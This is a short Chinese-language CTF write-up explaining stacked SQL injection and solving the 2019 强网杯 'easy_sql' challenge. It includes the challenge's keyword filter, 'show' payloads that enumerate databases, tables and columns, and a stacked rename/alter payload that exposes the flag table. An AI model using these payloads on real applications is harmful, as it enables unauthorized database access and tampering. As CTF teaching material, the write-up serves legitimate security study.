0x01 原理
通过分号(;
)连接多条SQL语句进行注入。union连接的联合查询能执行的语句时有限的,需要考虑到where子句之前的情况,而堆叠注入可执行任意mysql语句,比如use database
等。在php代码中,采用mysqli_multi_query
进行查询时,会造成堆叠注入,而如果采用mysql_query
会显示语句错误不能进行堆叠注入。
局限性:
代码一般只返回第一个查询结果,堆叠注入产生的结果或者错误只能被忽略,这就需要采用一些延时注入,或者alter类型的操作来修改数据达到查询结果的目的。
0x02 强网杯2019 easy_sql
题目过滤了如下函数:
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
基本的注入方式都过滤了,可以采用报错注入进行尝试,但无法跨表查询,过滤了.
。
尝试堆叠注入show databases
:
查看表名show tables from supersqli
查看列名show columns from `1919810931114514`
,表名是纯数字,需要添加反引号识别为字符串
查看到了存放flag的表,但无法通过语句查询出来结果,堆叠注入只能是前面的select语句回显结果。
最后需要通过alter
和rename
直接修改1919810931114514
表名,然后进行查询
1 | rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);# |
查询flag